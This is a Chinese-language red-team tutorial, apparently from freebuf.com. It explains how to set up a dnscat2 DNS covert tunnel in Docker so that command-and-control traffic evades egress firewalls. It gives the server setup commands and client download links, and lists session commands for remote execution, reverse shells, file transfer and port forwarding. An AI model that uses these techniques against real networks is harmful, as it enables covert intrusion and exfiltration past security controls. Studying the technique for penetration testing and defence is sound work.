内网渗透|DNS隧道技术 – 作者:星云博创科技有限公司

写在前面

在网络安全攻防演练中,往往存在着安全策略严格的内网环境,常见的C&C通信端口会被众多安全设备所监控,当测试过程中对目标内网终端进行渗透测试时发现该网段只允许白名单流量出站,屏蔽了其他端口的流量,那么此时传统的C&C通信就无法建立。

在这样的情况下,红队人员还有一种选择,使用DNS隐蔽隧道建立通信。

dnscat2隧道搭建

安装起来老费劲了,mac kali都试了,mac是brew upgrade以后搞得python环境崩了,费好大劲谷歌修好了。

最后还是没安好,kali是ruby版本本身的问题,我kali是最新版kali就是2020.3的。

没办法:最后拉的docker

命令:

docker pull arno0x0x/dnscat2

docker跑起来 ,这里没买域名,就用无域名dnscat语法

docker run –rm -ti –privileged -p 53:53/udp -e DOMAIN_NAME=”localhost” –name dnscat2 arno0x0x/dnscat2

跑起来以后,自动就开始服务端运行了,注意运行成功以后会返回语句。

v2-a7a2bc344ac618e2b55513fdf66b4eb5_720w.jpg

这里会返回出你的客户端连接语句,直接粘贴到shell里执行即可,当然需要你先上传dnscat2文件包,里面有编译好的客户端。

然后再进行客户端

我这里在kali里面操作的

v2-52a3cde01a4084f9a21c1f33b543d0e3_720w.jpg

客户端连上后,会提示:Session established!这里建立连接后,服务端会回显如下。

v2-136200f9350ab33472dc439d5a379ca3_720w.jpg

那么到这一步,这个dns连接就建立成功了

然后就可以利用这个dns隧道了

而服务端的控制台输入:windows,即可以看到一个客户端上线:

服务端的命令,和msf框架类似,也是采用sessions方式进行会话管理想要退出一个会话,直接ctrl+zquit (退出控制台)kill <id> (中断通道)set(设值,比如设置security=open)windows(列举出所有的通道)window -i <id>(连接某个通道)

假如是windows主机客户端想上线

https://downloads.skullsecurity.org/dnscat2/

到上面这个网站下载对应编译好的客户端,也就是exe

测试发现 exe的这个dnscat客户端很不稳定,动不动就卡死,客户端卡死

当然推荐使用powershellhttps://github.com/lukebaggett/dnscat2-powershell

执行方式详见自述文档

当然进入特定的session后,执行help命令,可以发现dnscat2支持的session内命令,也是最关键的部分

clear:(清屏)
delay:(修改远程会话超时时间)
exec:(执行远程机上的程序)
shell:(得到一个反弹shell,可以执行命令)   
download/upload:(两端之间上传下载文件)
supen:(返回到上一层,等于快捷键ctrl+z)
listen:类似于SSH隧道的-L参数(本地转发)语法:listen 0.0.0.0:53 192.168.1.1:3389
kill id:切断通道
windows列举所有通道
windows -i id :连接某个通道 

总结

经过试验,发现dnscat2端口转发功能还是很方便的,主要就是用于隐匿流量,反弹shell,运用DNS隐蔽通道过防火墙。

来源:freebuf.com 2020-12-17 10:02:49 by: 星云博创科技有限公司

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论